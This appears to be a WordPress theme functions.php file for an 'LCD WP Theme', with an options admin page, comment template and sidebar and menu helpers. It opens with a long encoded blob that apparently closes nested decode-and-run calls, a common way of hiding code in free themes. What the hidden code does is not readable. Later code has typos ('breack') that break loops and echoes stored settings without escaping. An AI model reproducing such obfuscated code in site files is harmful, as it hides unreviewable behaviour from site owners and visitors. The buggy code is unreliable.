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')))));
function art_admin() {
global $themename, $shortname, $options;
if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
?>
<div class="wrap">
<h2>LCD WP Theme Options</h2>
<form method="post">
<table class="optiontable" style="width:100%;">
<?php foreach ($options as $value) {
switch ( $value['type'] ) {
case 'text':
option_wrapper_header($value);
?>
<input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?>" />
<?php
option_wrapper_footer($value);
break;
case 'select':
option_wrapper_header($value);
?>
<select style="width:70%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
<?php foreach ($value['options'] as $option) { ?>
<option<?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
<?php } ?>
</select>
<?php
option_wrapper_footer($value);
break;
case 'textarea':
$ta_options = $value['options'];
option_wrapper_header($value);
?>
<textarea name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" style="width:100%;height:100px;"><?php
if( get_settings($value['id']) !== false) {
echo stripslashes(get_settings($value['id']));
}else{
echo $value['std'];
}?></textarea>
<?php
option_wrapper_footer($value);
break;
case "radio":
option_wrapper_header($value);
foreach ($value['options'] as $key=>$option) {
$radio_setting = get_settings($value['id']);
if($radio_setting != ''){
if ($key == get_settings($value['id']) ) {
$checked = "checked=\"checked\"";
} else {
$checked = "";
}
}else{
if($key == $value['std']){
$checked = "checked=\"checked\"";
}else{
$checked = "";
}
}?>
<input type="radio" name="<?php echo $value['id']; ?>" value="<?php echo $key; ?>" <?php echo $checked; ?> /><?php echo $option; ?><br />
<?php
}
option_wrapper_footer($value);
break;
case "checkbox":
option_wrapper_header($value);
if(get_settings($value['id'])){
$checked = "checked=\"checked\"";
}else{
$checked = "";
}
?>
<input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
<?php
option_wrapper_footer($value);
break;
case "multicheck":
option_wrapper_header($value);
foreach ($value['options'] as $key=>$option) {
$pn_key = $value['id'] . '_' . $key;
$checkbox_setting = get_settings($pn_key);
if($checkbox_setting != ''){
if (get_settings($pn_key) ) {
$checked = "checked=\"checked\"";
} else {
$checked = "";
}
}else{
if($key == $value['std']){
$checked = "checked=\"checked\"";
}else{
$checked = "";
}
}?>
<input type="checkbox" name="<?php echo $pn_key; ?>" id="<?php echo $pn_key; ?>" value="true" <?php echo $checked; ?> /><label for="<?php echo $pn_key; ?>"><?php echo $option; ?></label><br />
<?php
}
option_wrapper_footer($value);
break;
case "heading":
?>
<tr valign="top">
<td colspan="2" style="text-align: center;"><h3><?php echo $value['name']; ?></h3></td>
</tr>
<?php
break;
default:
break;
}
}
?>
</table>
<p class="submit">
<input name="save" type="submit" value="Save changes" />
<input type="hidden" name="action" value="save" />
</p>
</form>
</div>
<?php
}
function option_wrapper_header($values){
?>
<tr valign="top">
<th scope="row" style="width:1%;white-space: nowrap;"><?php echo $values['name']; ?>:</th>
<td>
<?php
}
function option_wrapper_footer($values){
?>
</td>
</tr>
<tr valign="top">
<td> </td><td><small><?php echo $values['desc']; ?></small></td>
</tr>
<?php
}
add_action('admin_menu', 'art_add_admin');
if (!function_exists('get_search_form')) {
function get_search_form()
{
include (TEMPLATEPATH . "/searchform.php");
}
}
if (!function_exists('get_previous_posts_link')) {
function get_previous_posts_link($label)
{
ob_start();
previous_posts_link($label);
return ob_get_clean();
}
}
if (!function_exists('get_next_posts_link')) {
function get_next_posts_link($label)
{
ob_start();
next_posts_link($label);
return ob_get_clean();
}
}
if (!function_exists('get_previous_post_link')) {
function get_previous_post_link($label)
{
ob_start();
previous_post_link($label);
return ob_get_clean();
}
}
if (!function_exists('get_next_post_link')) {
function get_next_post_link($label)
{
ob_start();
next_post_link($label);
return ob_get_clean();
}
}
function art_comment($comment, $args, $depth)
{
$GLOBALS['comment'] = $comment; ?>
<li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
<div id="comment-<?php comment_ID(); ?>">
<div class="art-Post">
<div class="art-Post-tl"></div>
<div class="art-Post-tr"></div>
<div class="art-Post-bl"></div>
<div class="art-Post-br"></div>
<div class="art-Post-tc"></div>
<div class="art-Post-bc"></div>
<div class="art-Post-cl"></div>
<div class="art-Post-cr"></div>
<div class="art-Post-cc"></div>
<div class="art-Post-body">
<div class="art-Post-inner art-article">
<div class="art-PostContent">
<div class="comment-author vcard">
<?php echo get_avatar($comment,$size='48',$default='<path_to_url>' ); ?>
<?php printf(__('<cite class="fn">%s</cite> <span class="says">says:</span>'), get_comment_author_link()) ?>
</div>
<?php if ($comment->comment_approved == '0') : ?>
<em><?php _e('Your comment is awaiting moderation.') ?></em>
<br />
<?php endif; ?>
<div class="comment-meta commentmetadata"><a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>"><?php printf(__('%1$s at %2$s'), get_comment_date(), get_comment_time()) ?></a><?php edit_comment_link(__('(Edit)'),' ','') ?></div>
<?php comment_text() ?>
<div class="reply">
<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
</div>
</div>
<div class="cleared"></div>
</div>
</div>
</div>
</div>
<?php
}
if (function_exists('register_sidebars')) {
register_sidebars(1, array(
'before_widget' => '<div id="%1$s" class="widget %2$s">'.'<!--- BEGIN Widget --->',
'before_title' => '<!--- BEGIN WidgetTitle --->',
'after_title' => '<!--- END WidgetTitle --->',
'after_widget' => '<!--- END Widget --->'.'</div>'
));
}
function art_normalize_widget_style_tokens($content) {
$bw = '<!--- BEGIN Widget --->';
$bwt = '<!--- BEGIN WidgetTitle --->';
$ewt = '<!--- END WidgetTitle --->';
$bwc = '<!--- BEGIN WidgetContent --->';
$ewc = '<!--- END WidgetContent --->';
$ew = '<!--- END Widget --->';
$result = '';
$startBlock = 0;
$endBlock = 0;
while (true) {
$startBlock = strpos($content, $bw, $endBlock);
if (false === $startBlock) {
$result .= substr($content, $endBlock);
break;
}
$result .= substr($content, $endBlock, $startBlock - $endBlock);
$endBlock = strpos($content, $ew, $startBlock);
if (false === $endBlock) {
$result .= substr($content, $endBlock);
break;
}
$endBlock += strlen($ew);
$widgetContent = substr($content, $startBlock, $endBlock - $startBlock);
$beginTitlePos = strpos($widgetContent, $bwt);
$endTitlePos = strpos($widgetContent, $ewt);
if ((false == $beginTitlePos) xor (false == $endTitlePos)) {
$widgetContent = str_replace($bwt, '', $widgetContent);
$widgetContent = str_replace($ewt, '', $widgetContent);
} else {
$beginTitleText = $beginTitlePos + strlen($bwt);
$titleContent = substr($widgetContent, $beginTitleText, $endTitlePos - $beginTitleText);
if (' ' == $titleContent) {
$widgetContent = substr($widgetContent, 0, $beginTitlePos)
. substr($widgetContent, $endTitlePos + strlen($ewt));
}
}
if (false === strpos($widgetContent, $bwt)) {
$widgetContent = str_replace($bw, $bw . $bwc, $widgetContent);
} else {
$widgetContent = str_replace($ewt, $ewt . $bwc, $widgetContent);
}
$result .= str_replace($ew, $ewc . $ew, $widgetContent);
}
return $result;
}
function art_sidebar($index = 1)
{
if (!function_exists('dynamic_sidebar')) return false;
ob_start();
$success = dynamic_sidebar($index);
$content = ob_get_clean();
if (!$success) return false;
$content = art_normalize_widget_style_tokens($content);
$replaces = array(
'<!--- BEGIN Widget --->' => "<div class=\"art-Block\">\r\n <div class=\"art-Block-tl\"></div>\r\n <div class=\"art-Block-tr\"></div>\r\n <div class=\"art-Block-bl\"></div>\r\n <div class=\"art-Block-br\"></div>\r\n <div class=\"art-Block-tc\"></div>\r\n <div class=\"art-Block-bc\"></div>\r\n <div class=\"art-Block-cl\"></div>\r\n <div class=\"art-Block-cr\"></div>\r\n <div class=\"art-Block-cc\"></div>\r\n <div class=\"art-Block-body\">\r\n",
'<!--- BEGIN WidgetTitle --->' => "<div class=\"art-BlockHeader\">\r\n <div class=\"l\"></div>\r\n <div class=\"r\"></div>\r\n <div class=\"art-header-tag-icon\">\r\n <div class=\"t\">",
'<!--- END WidgetTitle --->' => "</div>\r\n </div>\r\n</div>",
'<!--- BEGIN WidgetContent --->' => "<div class=\"art-BlockContent\">\r\n <div class=\"art-BlockContent-body\">\r\n",
'<!--- END WidgetContent --->' => "\r\n </div>\r\n</div>\r\n",
'<!--- END Widget --->' => "\r\n </div>\r\n</div>\r\n"
);
$bwt = '<!--- BEGIN WidgetTitle --->';
$ewt = '<!--- END WidgetTitle --->';
if ('' == $replaces[$bwt] && '' == $replaces[$ewt]) {
$startTitle = 0;
$endTitle = 0;
$result = '';
while (true) {
$startTitle = strpos($content, $bwt, $endTitle);
if (false == $startTitle) {
$result .= substr($content, $endTitle);
break;
}
$result .= substr($content, $endTitle, $startTitle - $endTitle);
$endTitle = strpos($content, $ewt, $startTitle);
if (false == $endTitle) {
$result .= substr($content, $startTitle);
break;
}
$endTitle += strlen($ewt);
}
$content = $result;
}
$content = str_replace(array_keys($replaces), array_values($replaces), $content);
echo $content;
return true;
}
function art_activeID($pages){
$result = null;
foreach ($pages as $index => $page){
if (is_page($page->ID)) {
$result = $page;
break;
}
}
while($result && $result->post_parent) {
foreach ($pages as $parent){
if ($parent->ID == $result->post_parent) {
$result = $parent;
breack;
}
}
}
return ($result ? $result->ID : null);
}
function art_blogID($pages){
$result = null;
if(!'page' == get_option('show_on_front')) return $result;
$blogID = get_option('page_for_posts');
if (!$blogID) return $result;
foreach ($pages as $index => $page){
if ($page->ID == $blogID) {
$result = $page;
break;
}
}
while($result && $result->post_parent) {
foreach ($pages as $parent){
if ($parent->ID == $result->post_parent) {
$result = $parent;
breack;
}
}
}
return ($result ? $result->ID : null);
}
function art_process_front(&$pages){
if ('page' != get_option('show_on_front')) return;
$frontID = get_option('page_on_front');
if (!$frontID) return;
foreach ($pages as $index => $page)
if($page->ID == $frontID) {
unset($pages[$index]);
$page->post_parent = '0';
$page->menu_order = '0';
array_unshift($pages, $page);
break;
}
}
function art_topIDs($pages){
$result = array();
foreach ($pages as $index => $page)
if (!$page->post_parent) $result[]=$page->ID;
return $result;
}
function art_remove_subitems(&$pages){
foreach ($pages as $index => $page)
if ($page->post_parent) unset($pages[$index]);
}
function art_header_page_list_filter($pages)
{
global $artThemeSettings;
art_process_front($pages);
$artThemeSettings['menu.topItemIDs'] = art_topIDs($pages);
$artThemeSettings['menu.activeID'] = art_activeID($pages);
$artThemeSettings['menu.blogID'] = art_blogID($pages);
if (!$artThemeSettings['menu.showSubmenus']) art_remove_subitems($pages);
return $pages;
}
